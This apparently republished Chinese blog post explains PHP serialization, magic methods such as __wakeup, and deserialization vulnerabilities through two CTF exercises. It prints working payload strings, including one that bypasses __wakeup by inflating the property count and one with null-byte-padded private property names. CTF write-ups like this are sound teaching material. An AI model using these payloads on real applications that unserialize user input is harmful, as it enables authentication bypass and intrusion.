前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >初探序列化与反序列化

初探序列化与反序列化

作者头像
偏有宸机
发布2020-11-04 10:55:11
7620
发布2020-11-04 10:55:11
举报
文章被收录于专栏:宸机笔记宸机笔记

序列化

在写程序尤其是写网站的时候,经常会构造类,并且有时候会将实例化的类作为变量进行传输。

序列化就是在此为了减少传输内容的大小孕育而生的一种压缩方法。

我们知道一个PHP类都含有几个特定的元素:

  • 类属性、类常量、类方法。

每一个类至少都含有以上三个元素,而这三个元素也可以组成最基本的类。那么按照特定的格式将这三个元素表达出来就可以将一个完整的类表示出来并传递。序列化就是将一个类压缩成一个字符串的方法。

序列化和反序列化一般用做缓存,比如session缓存,cookie等。

而不同类型的得到的字符串格式也不同,如:

  • String : s:size:value;
  • Integer : i:value;
  • Boolean : b:value;(保存1或0)
  • Null : N;
  • Array : a:size:{key definition;value definition;(repeated per element)}
  • Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

例:

代码语言:javascript
复制
<?php
class userInfo
{
private $passwd = 'weak';
protected $sex = 'male';
public $name = 'ama666';
public function modifyPasswd($passwd)
{
$this->passwd = $passwd;
}
public function getPasswd()
{
echo $this->$passwd;
}
}
$ama666 = new userInfo();
$ama666->modifyPasswd('strong');
$data = serialize($ama666);
echo $data;
?>
  
得到的输出结果为
O:8:”userInfo”:3:{s:16:”userInfopasswd”;s:6:”strong”;s:6:”*sex”;s:4:”male”;s:4:”name”;s:6:”ama666″;}

魔法函数

一般两个下划线开头的函数都是魔术方法,所谓魔术无非就是会自动调用而已。

简单来说就是PHP中构造函数,析构函数还有一个__wakeup()函数会被自动调用。

__**construct():**

当对象被创建的时候自动调用,对对象进行初始化。

__**destruct():**

当对象被销毁时会自动调用。

__**wakeup():**

unserialize()时会自动调用。

__toString():

Magic-当对象被当作字符串操作时调用

__sleep():

在对象在被序列化之前运行

construct在unserialize()的时候不会自动调用。可以形象地理解为构造函数便随着对象的生,析构函数便随着对象的死,序列化相当于让对象休眠,反序列化相当于让对象苏醒,所以对象苏醒时会自动调用,苏醒函数即__wakeup()函数,而不会自动调用构造函数。

反序列化

本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。

当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload,当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

unserialize 函数执行的时候会自动调用魔术函数__**wakeup()** 从而执行执行wakeup函数中的代码片段

例题1:

代码语言:javascript
复制
<?php
error_reporting(0);
show_source(__FILE__);
class create{
var $name='ctfer';
var $age;
var $flag;
function __wakeup(){
$user->name=$this->name;
$user->age=$this->age;
$user->flag=$this->flag;
$this->drive();
$this->getflag();
}
function getflag(){
if ($this->flag=='xcitc') {
include_once "./f1ag.php";
var_dump($f1ag);
}else {
echo 'Your car turned over.';
}
}
function drive(){
if ($this->age<18) {
exit("FBI warning!!"."<br>");
}
}
}
$arg=$_GET['arg'];
if (strlen($arg)<60) {
unserialize($arg);
}else{
echo "???";
}
?>

解析

  1. 传参给arg,并且参数字符串长度要小于60才可以执行反序列化操作
  2. 构造序列化payload使 age 大于18,flag为“xcitc”
代码语言:javascript
复制
"?arg=O:6:"create":2:{s:3:"age";s:2:"19";s:4:"flag";s:5:"xcitc";}"
  1. 发送请求,读出flag

例题2-[极客大挑战2019]PHP

根据提示说明网站存在备份文件,使用dirsearch扫描,发现www.zip的网站备份

image-20200608224014797
image-20200608224014797

打开php源码开始审计,几个关键点如下

image-20200608224131546
image-20200608224131546
image-20200608224139870
image-20200608224139870

然后就可以构造初步的poc了。在底部加上下面这句 输出序列化的字符

代码语言:javascript
复制
$a =new Name('admin','100');
$b = serialize($a);
echo $b;
image-20200608224250375
image-20200608224250375

可以看到已经读出了本地的flag.php,然后就是远程的poc了

这里需要注意一点的是,由于在Name类中声明的是private的变量,也就是私有于name类中的,所以要在变量名前加上类名Name

由于传参时会有unserialize函数进行反序列化,而这个过程会触发魔法函数__wakeup,便会强行将username的值更改为guest,从而导致无法成功执行,这就需要想办法来绕过wakeup了

绕过前我们需要先了解到反序列化字符串的特性,当属性个数的值大于实际属性个数时,就会跳过 __wakeup()函数的执行,也就是说我们只要稍加修改如下,即可绕过wakeup

代码语言:javascript
复制
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

最后还有一点要注意的是

使用的private来声明的字段,private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制上面poc,空白字符变会丢失,所以需要我们自己加上,最终poc如下

代码语言:javascript
复制
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

特别感谢ly0n师傅的文章以及指点,受益匪浅

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-06-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 序列化
  • 魔法函数
  • 反序列化
    • 例题1:
      • 解析
    • 例题2-[极客大挑战2019]PHP
    相关产品与服务
    文件存储
    文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档